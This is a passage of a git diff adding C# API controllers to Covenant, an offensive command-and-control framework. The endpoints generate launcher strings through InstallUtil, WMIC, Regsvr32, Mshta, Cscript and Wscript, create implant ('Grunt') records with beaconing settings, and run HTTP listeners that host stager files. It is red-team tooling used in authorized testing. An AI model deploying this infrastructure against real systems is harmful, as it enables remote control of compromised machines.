{ + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/installutil + // + // Edit InstallUtilLauncher + // + [HttpPut("installutil", Name = "PutInstallUtilLauncher")] + public ActionResult PutInstallUtilLauncher([FromBody] InstallUtilLauncher installutilLauncher) + { + InstallUtilLauncher launcher = (InstallUtilLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.InstallUtil); + if (launcher == null || launcher.Id != installutilLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == installutilLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = installutilLauncher.ListenerId; + } + launcher.Delay = installutilLauncher.Delay; + launcher.Jitter = installutilLauncher.Jitter; + launcher.ConnectAttempts = installutilLauncher.ConnectAttempts; + launcher.DotNetFrameworkVersion = installutilLauncher.DotNetFrameworkVersion; + launcher.LauncherString = installutilLauncher.LauncherString; + launcher.DiskCode = installutilLauncher.DiskCode; + launcher.StagerCode = installutilLauncher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/wmic + // + // Get WmicLauncher + // + [HttpGet("wmic", Name = "GetWmicLauncher")] + public ActionResult GetWmicLauncher() + { + WmicLauncher launcher = (WmicLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wmic); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/wmic + // + // Generate WmicLauncher LauncherString + // + [HttpPost("wmic", Name = "GenerateWmicLauncher")] + public ActionResult GenerateWmicLauncher() + { + WmicLauncher launcher = (WmicLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wmic); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/wmic/hosted + // + // Generate a WmicLauncher that points to a hosted xls file + // + [HttpPost("wmic/hosted", Name = "GenerateWmicHostedFileLauncher")] + public ActionResult GenerateWmicHostedFileLauncher(HostedFile hostedFile) + { + WmicLauncher launcher = (WmicLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wmic); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/wmic + // + // Edit WmicLauncher + // + [HttpPut("wmic", Name = "PutWmicLauncher")] + public ActionResult PutWscriptLauncher([FromBody]WmicLauncher wmicLauncher) + { + WmicLauncher launcher = (WmicLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wmic); + if (launcher == null || launcher.Id != wmicLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == wmicLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = wmicLauncher.ListenerId; + } + launcher.Delay = wmicLauncher.Delay; + launcher.Jitter = wmicLauncher.Jitter; + launcher.ConnectAttempts = wmicLauncher.ConnectAttempts; + launcher.ScriptLanguage = wmicLauncher.ScriptLanguage; + launcher.DotNetFrameworkVersion = wmicLauncher.DotNetFrameworkVersion; + launcher.LauncherString = wmicLauncher.LauncherString; + launcher.DiskCode = wmicLauncher.DiskCode; + launcher.StagerCode = wmicLauncher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/regsvr32 + // + // Get Regsvr32Launcher + // + [HttpGet("regsvr32", Name = "GetRegsvr32Launcher")] + public ActionResult GetRegsvr32Launcher() + { + Regsvr32Launcher launcher = (Regsvr32Launcher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Regsvr32); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launcher/regsvr32 + // + // Generate Regsvr32Launcher LauncherString + // + [HttpPost("regsvr32", Name = "GenerateRegsvr32Launcher")] + public ActionResult GenerateRegsvr32Launcher() + { + Regsvr32Launcher launcher = (Regsvr32Launcher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Regsvr32); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/regsvr32/hosted + // + // Generate a Regsvr32Launcher that points to a hosted sct file + // + [HttpPost("regsvr32/hosted", Name = "GenerateRegsvr32HostedFileLauncher")] + public ActionResult GenerateRegsvr32HostedFileLauncher(HostedFile hostedFile) + { + Regsvr32Launcher launcher = (Regsvr32Launcher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Regsvr32); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/regsvr32 + // + // Edit Regsvr32Launcher + // + [HttpPut("regsvr32", Name = "PutRegsvr32Launcher")] + public ActionResult PutRegsvr32Launcher([FromBody]Regsvr32Launcher regsvr32Launcher) + { + Regsvr32Launcher launcher = (Regsvr32Launcher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Regsvr32); + if (launcher == null || launcher.Id != regsvr32Launcher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == regsvr32Launcher.ListenerId); + if (listener != null) + { + launcher.ListenerId = regsvr32Launcher.ListenerId; + } + launcher.Delay = regsvr32Launcher.Delay; + launcher.Jitter = regsvr32Launcher.Jitter; + launcher.ConnectAttempts = regsvr32Launcher.ConnectAttempts; + launcher.ParameterString = regsvr32Launcher.ParameterString; + launcher.DllName = regsvr32Launcher.DllName; + launcher.ScriptLanguage = regsvr32Launcher.ScriptLanguage; + launcher.DotNetFrameworkVersion = regsvr32Launcher.DotNetFrameworkVersion; + launcher.LauncherString = regsvr32Launcher.LauncherString; + launcher.DiskCode = regsvr32Launcher.DiskCode; + launcher.StagerCode = regsvr32Launcher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/mshta + // + // Get MshtaLauncher + // + [HttpGet("mshta", Name = "GetMshtaLauncher")] + public ActionResult GetMshtaLauncher() + { + MshtaLauncher launcher = (MshtaLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Mshta); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/mshta + // + // Generate MshtaLauncher LauncherString + // + [HttpPost("mshta", Name = "GenerateMshtaLauncher")] + public ActionResult GenerateMshtaLauncher() + { + MshtaLauncher launcher = (MshtaLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Mshta); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/mshta/hosted + // + // Generate a MshtaLauncher that points to a hosted sct file + // + [HttpPost("mshta/hosted", Name = "GenerateMshtaHostedFileLauncher")] + public ActionResult GenerateMshtaHostedFileLauncher(HostedFile hostedFile) + { + MshtaLauncher launcher = (MshtaLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Mshta); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/mshta + // + // Edit MshtaLauncher + // + [HttpPut("mshta", Name = "PutMshtaLauncher")] + public ActionResult PutMshtaLauncher([FromBody] MshtaLauncher mshtaLauncher) + { + MshtaLauncher launcher = (MshtaLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Mshta); + if (launcher == null || launcher.Id != mshtaLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == mshtaLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = mshtaLauncher.ListenerId; + } + launcher.Delay = mshtaLauncher.Delay; + launcher.Jitter = mshtaLauncher.Jitter; + launcher.ConnectAttempts = mshtaLauncher.ConnectAttempts; + launcher.ScriptLanguage = mshtaLauncher.ScriptLanguage; + launcher.DotNetFrameworkVersion = mshtaLauncher.DotNetFrameworkVersion; + launcher.LauncherString = mshtaLauncher.LauncherString; + launcher.DiskCode = mshtaLauncher.DiskCode; + launcher.StagerCode = mshtaLauncher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/cscript + // + // Get CscriptLauncher + // + [HttpGet("cscript", Name = "GetCscriptLauncher")] + public ActionResult GetCscriptLauncher() + { + CscriptLauncher launcher = (CscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Cscript); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/cscript + // + // Generate CscriptLauncher LauncherString + // + [HttpPost("cscript", Name = "GenerateCscriptLauncher")] + public ActionResult GenerateCscriptLauncher() + { + CscriptLauncher launcher = (CscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Cscript); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/cscript/hosted + // + // Generate a CscriptLauncher that points to a hosted sct file + // + [HttpPost("cscript/hosted", Name = "GenerateCscriptHostedFileLauncher")] + public ActionResult GenerateCscriptHostedFileLauncher(HostedFile hostedFile) + { + CscriptLauncher launcher = (CscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Cscript); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/cscript + // + // Edit CscriptLauncher + // + [HttpPut("cscript", Name = "PutCscriptLauncher")] + public ActionResult PutCscriptLauncher([FromBody]CscriptLauncher cscriptLauncher) + { + CscriptLauncher launcher = (CscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Cscript); + if (launcher == null || launcher.Id != cscriptLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == cscriptLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = cscriptLauncher.ListenerId; + } + launcher.Delay = cscriptLauncher.Delay; + launcher.Jitter = cscriptLauncher.Jitter; + launcher.ConnectAttempts = cscriptLauncher.ConnectAttempts; + launcher.ScriptLanguage = cscriptLauncher.ScriptLanguage; + launcher.DotNetFrameworkVersion = cscriptLauncher.DotNetFrameworkVersion; + launcher.LauncherString = cscriptLauncher.LauncherString; + launcher.DiskCode = cscriptLauncher.DiskCode; + launcher.StagerCode = cscriptLauncher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // GET api/launchers/wscript + // + // Get WscriptLauncher + // + [HttpGet("wscript", Name = "GetWscriptLauncher")] + public ActionResult GetWscriptLauncher() + { + WscriptLauncher launcher = (WscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wscript); + if (launcher == null) + { + return NotFound(); + } + return Ok(launcher); + } + + // POST api/launchers/wscript + // + // Generate WscriptLauncher LauncherString + // + [HttpPost("wscript", Name = "GenerateWscriptLauncher")] + public ActionResult GenerateWscriptLauncher() + { + WscriptLauncher launcher = (WscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wscript); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == launcher.ListenerId); + if (listener == null) + { + return NotFound(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(P => P.Id == listener.ProfileId); + if (profile == null) + { + return NotFound(); + } + + Grunt grunt = new Grunt + { + ListenerId = listener.Id, + CovenantIPAddress = listener.BindAddress, + Delay = launcher.Delay, + Jitter = launcher.Jitter, + ConnectAttempts = launcher.ConnectAttempts + }; + + _context.Grunts.Add(grunt); + _context.SaveChanges(); + launcher.GetLauncher(listener, grunt, profile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // POST api/launchers/wscript/hosted + // + // Generate a WscriptLauncher that points to a hosted sct file + // + [HttpPost("wscript/hosted", Name = "GenerateWscriptHostedFileLauncher")] + public ActionResult GenerateWscriptHostedFileLauncher(HostedFile hostedFile) + { + WscriptLauncher launcher = (WscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wscript); + if (launcher == null) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(S => S.Id == hostedFile.ListenerId); + HostedFile savedHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hostedFile.Id); + if (listener == null || savedHostedFile == null) + { + return NotFound(); + } + string hostedLauncher = launcher.GetHostedLauncher(listener, savedHostedFile); + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + + // PUT api/launchers/wscript + // + // Edit WscriptLauncher + // + [HttpPut("wscript", Name = "PutWscriptLauncher")] + public ActionResult PutWscriptLauncher([FromBody] WscriptLauncher wscriptLauncher) + { + WscriptLauncher launcher = (WscriptLauncher)_context.Launchers.FirstOrDefault(S => S.Type == Launcher.LauncherType.Wscript); + if (launcher == null || launcher.Id != wscriptLauncher.Id) + { + return NotFound(); + } + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == wscriptLauncher.ListenerId); + if (listener != null) + { + launcher.ListenerId = wscriptLauncher.ListenerId; + } + launcher.Delay = wscriptLauncher.Delay; + launcher.Jitter = wscriptLauncher.Jitter; + launcher.ConnectAttempts = wscriptLauncher.ConnectAttempts; + launcher.ScriptLanguage = wscriptLauncher.ScriptLanguage; + launcher.DotNetFrameworkVersion = wscriptLauncher.DotNetFrameworkVersion; + launcher.LauncherString = wscriptLauncher.LauncherString; + launcher.DiskCode = wscriptLauncher.DiskCode; + launcher.StagerCode = wscriptLauncher.StagerCode; + + _context.Launchers.Update(launcher); + _context.SaveChanges(); + + return Ok(launcher); + } + } +} diff --git a/Covenant/Controllers/ListenerController.cs b/Covenant/Controllers/ListenerController.cs new file mode 100644 index 00000000..370ebb9d --- /dev/null +++ b/Covenant/Controllers/ListenerController.cs @@ -0,0 +1,457 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using System.Collections.Generic; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.AspNetCore.Mvc; +using Microsoft.AspNetCore.Authorization; +using Microsoft.AspNetCore.Identity; +using Microsoft.Extensions.Configuration; + +using Covenant.Core; +using Covenant.Models; +using Covenant.Models.Covenant; +using Covenant.Models.Listeners; +using Covenant.Models.Indicators; +using Encrypt = Covenant.Core.Encryption; + +namespace Covenant.Controllers +{ + [Authorize] + [ApiController] + [Route("api/[controller]s")] + public class ListenerController : Controller + { + private readonly CovenantContext _context; + private readonly UserManager _userManager; + private readonly SignInManager _signInManager; + private readonly IConfiguration _configuration; + // Dictionary of CancellationTokenSources for active listeners to stop them asynchronously + private readonly Dictionary _cancellationTokens; + + public ListenerController(CovenantContext context, UserManager userManager, SignInManager signInManager, IConfiguration configuration, Dictionary cancellationTokens) + { + _context = context; + _userManager = userManager; + _signInManager = signInManager; + _configuration = configuration; + _cancellationTokens = cancellationTokens; + } + + // GET: api/listeners/types + // + // Get listener types + // + [HttpGet("types", Name = "GetListenerTypes")] + public IEnumerable GetListenerTypes() + { + return _context.ListenerTypes.ToList(); + } + + // GET: api/listeners/types/{id} + // + // Get a listener type + // + [HttpGet("types/{id}", Name = "GetListenerType")] + public ActionResult GetListenerType(int id) + { + ListenerType type = _context.ListenerTypes.FirstOrDefault(LT => LT.Id == id); + if (type == null) + { + return NotFound(); + } + return Ok(type); + } + + // GET: api/listeners + // + // Get listeners + // + [HttpGet(Name = "GetListeners")] + public IEnumerable GetListeners() + { + return _context.Listeners.ToList(); + } + + // GET: api/listeners/{id} + // + // Get a listener + // + [HttpGet("{id}", Name = "GetListener")] + public ActionResult GetListener(int id) + { + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + return Ok(listener); + } + + // PUT api/listeners + // + // Edit a Listener + // + [HttpPut(Name = "PutListener")] + public ActionResult PutHttpListener([FromBody] Listener listener) + { + Listener savedListener = _context.Listeners.FirstOrDefault(L => L.Id == listener.Id); + if (savedListener == null) + { + return NotFound(); + } + savedListener.Name = listener.Name; + savedListener.Description = listener.Description; + savedListener.BindAddress = listener.BindAddress; + savedListener.BindPort = listener.BindPort; + savedListener.ConnectAddress = listener.ConnectAddress; + savedListener.CovenantToken = listener.CovenantToken; + + if (savedListener.Status == Listener.ListenerStatus.Active && listener.Status == Listener.ListenerStatus.Stopped) + { + savedListener.Stop(_cancellationTokens[savedListener.Id]); + savedListener.Status = listener.Status; + } + else if (savedListener.Status != Listener.ListenerStatus.Active && listener.Status == Listener.ListenerStatus.Active) + { + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(HP => savedListener.ProfileId == HP.Id); + if (profile == null) + { + return NotFound(); + } + CancellationTokenSource listenerCancellationToken = savedListener.Start(profile); + if (listenerCancellationToken == null) + { + return BadRequest(); + } + _cancellationTokens[savedListener.Id] = listenerCancellationToken; + } + + _context.Listeners.Update(savedListener); + _context.SaveChanges(); + + return Ok(listener); + } + + // DELETE api/listeners/{id} + // + // Delete a Listener + // + [HttpDelete("{id}", Name = "DeleteListener")] + public ActionResult DeleteListener(int id) + { + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + if (listener.Status == Listener.ListenerStatus.Active) + { + listener.Stop(_cancellationTokens[listener.Id]); + } + _context.Listeners.Remove(listener); + _context.SaveChanges(); + return Ok(listener); + } + + // GET api/listeners/http/{id} + // + // Get an already active HttpListener + // + [HttpGet("http/{id}", Name = "GetActiveHttpListener")] + public ActionResult GetActiveHttpListener(int id) + { + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + ListenerType listenerType = _context.ListenerTypes.FirstOrDefault(L => L.Id == listener.ListenerTypeId); + if (listenerType == null || listenerType.Name != "HTTP") + { + return NotFound(); + } + return Ok((HttpListener)listener); + } + + // POST api/listeners/http + // + // Create an HttpListener + // + [HttpPost("http", Name = "CreateHttpListener")] + public async Task> CreateHttpListener([FromBody] HttpListener listener = null) + { + if (listener == null || listener.Id == 0) + { + ListenerType httpType = _context.ListenerTypes.FirstOrDefault(LT => LT.Name == "HTTP"); + if (httpType == null) + { + return BadRequest(); + } + listener = (HttpListener) _context.Listeners.FirstOrDefault(L => L.ListenerTypeId == httpType.Id && L.Status == Listener.ListenerStatus.Uninitialized); + if (listener != null) + { + return Ok(listener); + } + else + { + Profile profile = _context.Profiles.FirstOrDefault(HP => HP.Id == 1); + listener = new HttpListener(httpType.Id, profile.Id); + } + } + + // Append capital letter to appease Password complexity requirements, get rid of warning output + string covenantListenerUsername = Utilities.CreateSecureGuid().ToString(); + string covenantListenerPassword = Utilities.CreateSecureGuid().ToString() + "A"; + CovenantUser covenantListenerUser = new CovenantUser { UserName = covenantListenerUsername }; + await _userManager.CreateAsync(covenantListenerUser, covenantListenerPassword); + await _userManager.AddToRoleAsync(covenantListenerUser, "Listener"); + + var signInResult = await _signInManager.PasswordSignInAsync(covenantListenerUser.UserName, covenantListenerPassword, true, false); + var token = Utilities.GenerateJwtToken( + covenantListenerUser.UserName, covenantListenerUser.Id, new[] { "Listener" }, + _configuration["JwtKey"], _configuration["JwtIssuer"], + _configuration["JwtAudience"], _configuration["JwtExpireDays"] + ); + listener.CovenantToken = token; + + _context.Listeners.Add(listener); + _context.SaveChanges(); + return Ok(listener); + } + + // PUT api/listeners/http + // + // Edit HttpListener + // + [HttpPut("http", Name = "PutHttpListener")] + public ActionResult PutHttpListener([FromBody] HttpListener httpListener) + { + Listener listener = _context.Listeners.FirstOrDefault(L => L.Id == httpListener.Id); + if (listener == null) + { + return NotFound(); + } + ListenerType listenerType = _context.ListenerTypes.FirstOrDefault(L => L.Id == listener.ListenerTypeId); + if (listenerType == null || listenerType.Name != "HTTP") + { + return NotFound(); + } + HttpListener savedhttpListener = (HttpListener)listener; + + // URL is calculated from BindAddress, BindPort, UseSSL components + // Default to setting based on URL if requested URL differs + if (savedhttpListener.Url != httpListener.Url) + { + savedhttpListener.Url = httpListener.Url; + } + else + { + savedhttpListener.BindAddress = httpListener.BindAddress; + savedhttpListener.BindPort = httpListener.BindPort; + savedhttpListener.ConnectAddress = httpListener.ConnectAddress; + savedhttpListener.UseSSL = httpListener.UseSSL; + } + savedhttpListener.ProfileId = httpListener.ProfileId; + savedhttpListener.Name = httpListener.Name; + savedhttpListener.SSLCertificate = httpListener.SSLCertificate; + + if (savedhttpListener.Status == Listener.ListenerStatus.Active && httpListener.Status == Listener.ListenerStatus.Stopped) + { + savedhttpListener.Stop(_cancellationTokens[savedhttpListener.Id]); + savedhttpListener.Status = httpListener.Status; + } + else if(savedhttpListener.Status != Listener.ListenerStatus.Active && httpListener.Status == Listener.ListenerStatus.Active) + { + if (savedhttpListener.UseSSL && (savedhttpListener.SSLCertHash == "" || savedhttpListener.SSLCertificate == "")) + { + return BadRequest(); + } + else if (_context.Listeners.Where(L => L.Status == Listener.ListenerStatus.Active && L.BindPort == listener.BindPort).Any()) + { + return BadRequest(); + } + HttpProfile profile = (HttpProfile)_context.Profiles.FirstOrDefault(HP => HP.Id == savedhttpListener.ProfileId); + CancellationTokenSource listenerCancellationToken = savedhttpListener.Start(profile); + if (listenerCancellationToken == null) + { + return BadRequest(); + } + NetworkIndicator httpIndicator = new NetworkIndicator + { + Protocol = "http", + Domain = Utilities.IsIPAddress(savedhttpListener.ConnectAddress) ? "" : savedhttpListener.ConnectAddress, + IPAddress = Utilities.IsIPAddress(savedhttpListener.ConnectAddress) ? savedhttpListener.ConnectAddress : "", + Port = savedhttpListener.BindPort, + URI = savedhttpListener.Url + }; + if (_context.Indicators.Where(I => I.Name == "NetworkIndicator") + .Select(I => (NetworkIndicator)I) + .FirstOrDefault(I => I.IPAddress == httpIndicator.IPAddress && I.Domain == httpIndicator.Domain) == null) + { + _context.Indicators.Add(httpIndicator); + } + _cancellationTokens[savedhttpListener.Id] = listenerCancellationToken; + } + + _context.Listeners.Update(savedhttpListener); + _context.SaveChanges(); + + return Ok(listener); + } + + // GET api/listeners/{id}/hostedfiles + // + // Get HostedFiles + // + [Authorize] + [HttpGet("{id}/hostedfiles", Name = "GetHostedFiles")] + public IEnumerable GetHostedFiles(int id) + { + return _context.HostedFiles.Where(HF => HF.ListenerId == id).ToList(); + } + + // GET api/listeners/{id}/hostedfiles/{hfid} + // + // Get a HostedFile + // + [HttpGet("{id}/hostedfiles/{hfid}", Name = "GetHostedFile")] + public ActionResult GetHostedFile(int id, int hfid) + { + HostedFile file = _context.HostedFiles.FirstOrDefault(HF => HF.ListenerId == id && HF.Id == hfid); + if (file == null) + { + return NotFound(); + } + return Ok(file); + } + + // POST api/listeners/{id}/hostedfiles + // + // Create a HostedFile + // + [HttpPost("{id}/hostedfiles", Name = "CreateHostedFile")] + [ProducesResponseType(typeof(HostedFile), 201)] + public ActionResult CreateHostedFile(int id, [FromBody] HostedFile hostFileRequest) + { + HttpListener listener = (HttpListener)_context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + hostFileRequest.ListenerId = listener.Id; + HostedFile existingHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Path == hostFileRequest.Path); + if (existingHostedFile != null) + { + // If file already exists and is being hosted, BadRequest + return BadRequest(); + } + try + { + hostFileRequest = listener.HostFile(hostFileRequest); + } + catch + { + return BadRequest(); + } + // Check if it already exists again, path could have changed + existingHostedFile = _context.HostedFiles.FirstOrDefault(HF => HF.Path == hostFileRequest.Path); + if (existingHostedFile != null) + { + return BadRequest(); + } + _context.Indicators.Add(new FileIndicator + { + FileName = hostFileRequest.Path.Split("/").Last(), + FilePath = listener.Url + hostFileRequest.Path, + MD5 = Encrypt.Utilities.GetMD5(System.Convert.FromBase64String(hostFileRequest.Content)), + SHA1 = Encrypt.Utilities.GetSHA1(System.Convert.FromBase64String(hostFileRequest.Content)), + SHA2 = Encrypt.Utilities.GetSHA256(System.Convert.FromBase64String(hostFileRequest.Content)) + }); + _context.HostedFiles.Add(hostFileRequest); + _context.SaveChanges(); + + return CreatedAtRoute(nameof(GetHostedFile), new { id = listener.Id, hfid = hostFileRequest.Id }, hostFileRequest); + } + + // PUT api/listeners/{id}/hostedfiles/{hfid} + // + // Edit HostedFile + // + [HttpPut("{id}/hostedfiles/{hfid}", Name = "EditHostedFile")] + public ActionResult EditHostedFile(int id, int hfid, [FromBody] HostedFile hostedFile) + { + HttpListener listener = (HttpListener)_context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + HostedFile file = _context.HostedFiles.FirstOrDefault(HF => HF.ListenerId == listener.Id && HF.Id == hfid && HF.Id == hostedFile.Id); + if (file == null) + { + return NotFound(); + } + try + { + hostedFile = listener.HostFile(hostedFile); + } + catch + { + return BadRequest(); + } + file.Path = hostedFile.Path; + file.Content = hostedFile.Path; + _context.HostedFiles.Update(file); + _context.SaveChanges(); + + return Ok(file); + } + + // DELETE api/listeners/{id}/hostedfiles/{hfid} + // + // Delete a HostedFile + // + [HttpDelete("{id}/hostedfiles/{hfid}", Name = "DeleteHostedFile")] + [ProducesResponseType(204)] + public ActionResult DeleteHostedFile(int id, int hfid) + { + HttpListener listener = (HttpListener)_context.Listeners.FirstOrDefault(L => L.Id == id); + if (listener == null) + { + return NotFound(); + } + HostedFile file = _context.HostedFiles.FirstOrDefault(HF => HF.Id == hfid && HF.ListenerId == listener.Id); + if (file == null) + { + return NotFound(); + } + + _context.HostedFiles.Remove(file); + _context.SaveChanges(); + return new NoContentResult(); + } + + // GET api/listeners/{id}/profile + // + // Get a HttpProfile + // + [HttpGet("{id}/profile", Name = 